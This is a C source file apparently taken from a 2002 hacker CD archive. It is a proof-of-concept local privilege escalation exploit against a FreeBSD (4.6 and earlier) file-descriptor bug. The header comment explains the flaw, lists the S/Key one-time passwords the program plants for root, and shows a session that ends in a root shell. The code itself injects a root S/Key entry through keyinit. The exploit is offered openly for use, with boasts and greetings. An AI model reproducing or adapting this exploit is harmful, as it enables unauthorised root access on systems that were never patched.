home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / iosmash / iosmash2.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  2.1 KB  |  72 lines

  1. /* Proof Of Concept exploit for the Freebsd file descriptors bug. Freebsd 
  2. thought they fixed this months ago well guess again :P Thanks to the 
  3. Freebsd kernel you may now enjoy local root on all freebsd <=4.6 ;) */
  4.  
  5. /* *I AM FREE* *I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I 
  6. AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM 
  7. FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I AM FREE**I 
  8. AM FREE* */
  9.  
  10. DVDMAN(DVDMAN@L33TSECURITY.COM)
  11. Visit Us: irc.efnet.org #l33tsecurity
  12. www.l33tsecurity.com
  13.  
  14. And Freebsd thought they fixed this :P
  15.  
  16. GREETS:
  17. thanks phased for skeys from iosmash.c :)
  18. thanks all of #l33tsecurity for support
  19. thanks Georgi Guninski for ideas
  20.  
  21. Details: 
  22. Several months ago Joost Pol <joost@pine.nl> made public almost the same
  23. problem. FreeBSD fixed it, but the patch does not cover all the cases. In
  24. some cases the kernel closes fds 0..2 after they are assigned to /dev/null,
  25. leaving the system open to an attack. If a +s file is execed and fds 0..2
  26. are opened to /proc/curproc/{special} then the kernel forcefully closes
  27. them and open() then reuses them.
  28.  
  29. this program makes the following skeys valid
  30.  
  31.   95: CARE LIVE CARD LOFT CHIC HILL
  32.   96: TESS OIL WELD DUD MUTE KIT
  33.   97: DADE BED DRY JAW GRAB NOV
  34.   98: MASS OAT ROLL TOOL AGO CAM
  35.   99: DARK LEW JOLT JIVE MOS WHO
  36.  
  37. PROOF:
  38. [dvdman@xxxx:~]$ uname -a
  39. FreeBSD xxx.xx 4.6-STABLE FreeBSD 4.6-STABLE #1: Sat Jul27 20:16:20 GMT 2002     dvdman@xxxx:/usr/obj/usr/src/sys/xxx  i386
  40. [dvdman@xxxx:~]$ gcc iosmash2.c
  41. [dvdman@xxxx:~]$ ./a.out
  42. Adding dvdman:
  43. ctrl-c
  44. [dvdman@xxxx:~]$ su
  45. s/key 98 snosoft2
  46. Password:
  47. [root@xxxx:/home/dvdman]#
  48.  
  49. */
  50.   
  51.  
  52. #include <unistd.h>
  53. #include <fcntl.h>
  54. #include <stdio.h>
  55. #include <errno.h>
  56. int main(int argc, char *argv[])
  57. {
  58. int f;
  59. int ret;
  60.  
  61. while(dup(1) != -1) {};
  62. close(2);
  63. close(3);
  64. f=open("/proc/curproc/mem",O_WRONLY);
  65. if (f==-1) fprintf(stdout,"Error in open /proc\n");
  66. fprintf(stdout,"press ctrl-c when adding...");
  67. ret = execl("/usr/bin/keyinit","\nroot 0099 snosoft2    6f648e8bd0e2988a Apr 23,2666 01:02:03\n",0);
  68. if(ret == -1) {
  69. fprintf(stdout,"execl() failed: %s (%d)\n",strerror(errno),errno);
  70. }
  71. }
  72.